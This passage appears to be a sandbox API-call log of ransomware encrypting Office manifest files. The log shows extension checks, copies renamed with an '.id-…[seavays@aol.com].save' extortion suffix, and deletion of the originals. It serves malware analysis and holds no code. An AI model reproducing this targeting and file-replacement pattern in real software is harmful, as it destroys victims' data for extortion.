[0060.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.575] lstrlenW (lpString=".doc") returned 4 [0060.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.575] lstrlenW (lpString=".docx") returned 5 [0060.575] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.575] lstrlenW (lpString=".pdf") returned 4 [0060.575] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.575] lstrlenW (lpString=".xls") returned 4 [0060.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.575] lstrlenW (lpString=".xlsx") returned 5 [0060.575] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.575] lstrlenW (lpString=".ppt") returned 4 [0060.575] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.575] lstrlenW (lpString=".zip") returned 4 [0060.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.575] lstrlenW (lpString=".rar") returned 4 [0060.576] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.576] lstrlenW (lpString=".bz2") returned 4 [0060.576] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.576] lstrlenW (lpString=".7z") returned 3 [0060.576] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.576] lstrlenW (lpString=".dbf") returned 4 [0060.576] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.576] lstrlenW (lpString=".1cd") returned 4 [0060.576] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.576] lstrlenW (lpString=".jpg") returned 4 [0060.576] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.576] lstrlenW (lpString=".doc") returned 4 [0060.576] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.576] lstrlenW (lpString=".docx") returned 5 [0060.576] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.576] lstrlenW (lpString=".pdf") returned 4 [0060.576] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.576] lstrlenW (lpString=".xls") returned 4 [0060.576] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.576] lstrlenW (lpString=".xlsx") returned 5 [0060.576] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.576] lstrlenW (lpString=".ppt") returned 4 [0060.577] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.577] lstrlenW (lpString=".zip") returned 4 [0060.577] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.577] lstrlenW (lpString=".rar") returned 4 [0060.577] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.577] lstrlenW (lpString=".bz2") returned 4 [0060.577] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.577] lstrlenW (lpString=".7z") returned 3 [0060.577] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.577] lstrlenW (lpString=".dbf") returned 4 [0060.577] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.577] lstrlenW (lpString=".1cd") returned 4 [0060.577] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0060.577] lstrlenW (lpString=".jpg") returned 4 [0060.577] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.577] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.577] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0060.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.578] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=399528) returned 1 [0060.578] CloseHandle (hObject=0x378) returned 1 [0060.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0060.578] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.578] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0060.579] GetLastError () returned 0x0 [0060.579] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x618a8, lpOverlapped=0x0) returned 1 [0060.590] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x618b0, lpOverlapped=0x0) returned 1 [0061.114] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.114] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e, lpOverlapped=0x0) returned 1 [0061.114] SetEndOfFile (hFile=0x374) returned 1 [0061.114] CloseHandle (hObject=0x374) returned 1 [0061.122] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.122] SetEndOfFile (hFile=0x378) returned 1 [0061.125] CloseHandle (hObject=0x378) returned 1 [0061.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0061.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.126] lstrlenW (lpString=".doc") returned 4 [0061.126] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.126] lstrlenW (lpString=".docx") returned 5 [0061.126] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0061.126] lstrlenW (lpString=".pdf") returned 4 [0061.126] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.126] lstrlenW (lpString=".xls") returned 4 [0061.126] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.126] lstrlenW (lpString=".xlsx") returned 5 [0061.126] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0061.126] lstrlenW (lpString=".ppt") returned 4 [0061.127] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.127] lstrlenW (lpString=".zip") returned 4 [0061.127] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.127] lstrlenW (lpString=".rar") returned 4 [0061.127] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.127] lstrlenW (lpString=".bz2") returned 4 [0061.127] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.127] lstrlenW (lpString=".7z") returned 3 [0061.127] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.127] lstrlenW (lpString=".dbf") returned 4 [0061.127] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.127] lstrlenW (lpString=".1cd") returned 4 [0061.127] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.127] lstrlenW (lpString=".jpg") returned 4 [0061.127] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.128] lstrlenW (lpString=".doc") returned 4 [0061.128] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString=".docx") returned 5 [0061.128] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0061.128] lstrlenW (lpString=".pdf") returned 4 [0061.128] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString=".xls") returned 4 [0061.128] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString=".xlsx") returned 5 [0061.128] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0061.128] lstrlenW (lpString=".ppt") returned 4 [0061.128] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.128] lstrlenW (lpString=".zip") returned 4 [0061.128] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.128] lstrlenW (lpString=".rar") returned 4 [0061.128] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString=".bz2") returned 4 [0061.128] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString=".7z") returned 3 [0061.128] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.128] lstrlenW (lpString=".dbf") returned 4 [0061.128] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.128] lstrlenW (lpString=".1cd") returned 4 [0061.128] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0061.128] lstrlenW (lpString=".jpg") returned 4 [0061.128] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.129] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0061.129] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0061.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.129] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9831) returned 1 [0061.129] CloseHandle (hObject=0x378) returned 1 [0061.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0061.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.129] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.129] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0061.130] GetLastError () returned 0x0 [0061.130] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2667, lpOverlapped=0x0) returned 1 [0061.132] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2670, lpOverlapped=0x0) returned 1 [0061.133] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.133] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x106, lpOverlapped=0x0) returned 1 [0061.133] SetEndOfFile (hFile=0x374) returned 1 [0061.133] CloseHandle (hObject=0x374) returned 1 [0061.134] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.134] SetEndOfFile (hFile=0x378) returned 1 [0061.135] CloseHandle (hObject=0x378) returned 1 [0061.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0061.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.136] lstrlenW (lpString=".doc") returned 4 [0061.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString=".docx") returned 5 [0061.136] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0061.136] lstrlenW (lpString=".pdf") returned 4 [0061.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString=".xls") returned 4 [0061.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString=".xlsx") returned 5 [0061.136] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0061.136] lstrlenW (lpString=".ppt") returned 4 [0061.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.136] lstrlenW (lpString=".zip") returned 4 [0061.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.136] lstrlenW (lpString=".rar") returned 4 [0061.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString=".bz2") returned 4 [0061.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString=".7z") returned 3 [0061.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.136] lstrlenW (lpString=".dbf") returned 4 [0061.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.136] lstrlenW (lpString=".1cd") returned 4 [0061.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.136] lstrlenW (lpString=".jpg") returned 4 [0061.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.137] lstrlenW (lpString=".doc") returned 4 [0061.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.137] lstrlenW (lpString=".docx") returned 5 [0061.137] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0061.137] lstrlenW (lpString=".pdf") returned 4 [0061.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.137] lstrlenW (lpString=".xls") returned 4 [0061.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.137] lstrlenW (lpString=".xlsx") returned 5 [0061.137] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0061.137] lstrlenW (lpString=".ppt") returned 4 [0061.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.137] lstrlenW (lpString=".zip") returned 4 [0061.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.137] lstrlenW (lpString=".rar") returned 4 [0061.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.137] lstrlenW (lpString=".bz2") returned 4 [0061.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.137] lstrlenW (lpString=".7z") returned 3 [0061.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.137] lstrlenW (lpString=".dbf") returned 4 [0061.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.137] lstrlenW (lpString=".1cd") returned 4 [0061.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0061.137] lstrlenW (lpString=".jpg") returned 4 [0061.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.138] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0061.138] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0061.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.138] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=373) returned 1 [0061.138] CloseHandle (hObject=0x378) returned 1 [0061.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0061.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.138] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.138] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0061.139] GetLastError () returned 0x0 [0061.139] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x175, lpOverlapped=0x0) returned 1 [0061.140] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x180, lpOverlapped=0x0) returned 1 [0061.140] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.140] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x100, lpOverlapped=0x0) returned 1 [0061.145] SetEndOfFile (hFile=0x374) returned 1 [0061.145] CloseHandle (hObject=0x374) returned 1 [0061.146] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.146] SetEndOfFile (hFile=0x378) returned 1 [0061.147] CloseHandle (hObject=0x378) returned 1 [0061.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0061.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.148] lstrlenW (lpString=".doc") returned 4 [0061.148] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned 